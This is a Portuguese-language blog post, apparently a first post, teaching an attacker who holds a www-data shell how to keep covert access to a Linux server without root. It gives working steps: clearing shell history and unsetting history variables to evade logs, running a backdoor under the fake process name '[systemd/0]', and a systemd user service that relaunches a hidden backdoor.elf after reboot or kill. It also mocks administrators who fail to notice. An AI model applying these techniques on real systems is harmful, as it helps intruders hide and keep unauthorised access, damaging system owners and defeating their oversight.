a8888b.
             d888888b.
             8P"YP"Y88
             8|o||o|88
             8'    .88
             8`._.' Y8.
            d/      `8b.
           dP   .    Y8b.
          d8:'  "  `::88b
         d8"         'Y88b
        :8P    '      :888
         8a.   :     _a88P
       ._/"Yaa_:   .| 88P|
       \    YP"    `| 8P  `.
       /     \.___.d|    .'
       `--..__)8888P`._.'
┌───────────────────────────────────────────────────┐
|        Tecnicas Non-Root Para persistencia        |
\───────────────────────────────────────────────────/
|[0x1] Se previnindo de logs
|[0x2] bind-shell & camuflar o processo
|[0x3] Criando uma backdoor em systemd
└───────────────────────────────────────────────────┘
[Menu]

Ola Pessoas, Hoje vou explicar algumas tecnicas que eu utilizo no dia a dia em ações para me deixar persistente mesmo sendo um usuario não privilegiado.
Para isso ser possivel vou me colocar em uma situação que estamos em uma shell inicial sendo um usuario www-data e vamos pensar.. como deixar uma backdoor?
bom sendo um usuario sem muitos privilegios temos apenas uma home, e outras coisas.. enfim para ter uma persistencia digna recomendo em alguns casos quando você tem certeza
que a maquina fica ligada 24/7 é recomendado deixar suas coisas em /dev/shm/ pois la é aonde fica dados compartilhados da memoria ram 
shm = shared memory bom sabendo disso irei pela informação que você resolveu se entocar em /dev/shm para isso é recomendado criar um diretorio a + nem sempre
mas é bom crie algo como /dev/shm/... ou algo relevante a isso. É importante lembrar, sempre limpe seus rastros em uma maquina, eu gosto sempre de dar unset
para remover variaveis de ambiente que vão gerar logs conforme o uso.

[0x1] Se previnindo de logs
┌───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┐
|www-data@server:~$ unset HISTFILE HISTSAVE HISTMOVE HISTZONE HISTORY HISTLOG USERHOST REMOTEHOST WATCH; history -n; export HISTFILE=/dev/null; history -c
└───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┘

Explicando esse codigo de maneira bruta seria para ele remover variaveis de ambiente que geram logs como historico do bash zsh
o history com a opção -n é usada para ler todos os comandos do histórico e carregá-los na memória, mas não para exibi-los na saída padrão.
export HISTFILE para o /dev/null é apenas para jogar todo o meu log de comandos para o /dev/null = vazio.
e por ultimo o history -c é para limpar o historico dos comandos que digitamos anteriormente :D
Assim temos uma entrada segura, limpa e sem problemas

agora como poderiamos manter uma persistencia sendo um usuario sem privilegios? vou abordar 1 maneira de fazer isso logo abaixo:

[0x2] bind-shell & camuflar o processo
podemos usar varias bind-shell, da para fazer em varias linguagens e abordagens, vou usar uma que eu peguei do github como exemplo
para isso vamos se pensar, ora bolas acho que executar a backdoor.elf com o cmd aparecendo no ps aux é meio loucura não acha?
sabendo disso vamos tentar mascarar o processo usando o poder do propio linux! vou mostrar na pratica como fazer isso.

┌───────────────────────────────────────────────────────────────────────────────────────────────────────────┐
|www-data@server:~$ exec -a "[systemd/0]" ./backdoor & //executando com exec para mudar o nome do processo
|www-data@server:~$ [1] 546739 //Pid do processo
|www-data@server:~$ ps fHw //Conferindo a alteração de nome
| PID    TTY     STAT    TIME COMMAND
|5422   pts/1     Ss+    0:00 /usr/bin/zsh
|546739 pts/0     SN     0:00 [systemd/0] //Vuala!
|554847 pts/0     R+     0:00 ps fHw
└───────────────────────────────────────────────────────────────────────────────────────────────────────────┘

acho que meio que alto explicativo, a opção -a sendo para substituir o nome do processo para outro, percebe que eu coloco o nome como "[systemd/0]" pois em processos padroes de unix-like
é provavel existir processos que abordem essa mesma forma de nome como [alguma_coisa] coloquei systemd/0 pois systemd é algo que existe ja no sistema e podera ser confundido
com mais facilidade :D

[0x3] Criando uma backdoor em systemd
bom caso você ache que a maquina pode cair e você tem medo de isso acontecer e sua backdoor sair do ar.. você pode criar um systemd-service para que ele fique ativo mesmo apôs um reset da maquina
para que isso seja possivel precisamos ir em nossa home do nosso usuario e criar um diretorio em ~/.config chamado systemd para colocar nosso script de systemd la dentro.
bom vamos la o nosso script vai ser o mais simples possivel para criar um serviço que executa um executavel em /var/www/.config/.../ chamado backdoor.elf e ele vai ja ocultar o processo com o exec :D 
vamos colocar um as configurações no ~/.config/systemd/user/backdoor.service

┌───────────────────────────────────────────────────────────────────────────────────────────────────────────┐
|[Unit]
|Description=backdoor fofinha
|After=network.target
|
|[Service]
|ExecStart=/bin/bash -c 'exec -a "[systemd/0]" /var/www/.config/.../backdoor.elf &'
|Restart=always
|RestartSec=3
|
|[Install]
|WantedBy=multi-user.target
└───────────────────────────────────────────────────────────────────────────────────────────────────────────┘

logo apos isso vamos ativar esse systemd usando os seguintes comandos abaixo:

┌───────────────────────────────────────────────────────────────────────────────────────────────────────────┐
|www-data@server:~$ systemctl --user daemon-reload //Atualizando os serviços do usuario
|www-data@server:~$ systemctl --user start backdoor //iniciando o serviço
|www-data@server:~$ systemctl --user enable backdoor //serviço para iniciar automaticamente no boot
└───────────────────────────────────────────────────────────────────────────────────────────────────────────┘

fazendo isso caso a maquina desligue ou caso o processo seja morto ele vai ser re-criado uwu, assim fazendo com que um sysadmin burrinho vai demorar para perceber e entender essas tentar descobrir HuehuEhUe
é isso eu acho... eu espero que eu atualize isso com o tempo se eu achar algumas coisas a mais.
isso é meu primeiro texto para meu blog, eu espero que alguem realmente leia.. ou não :D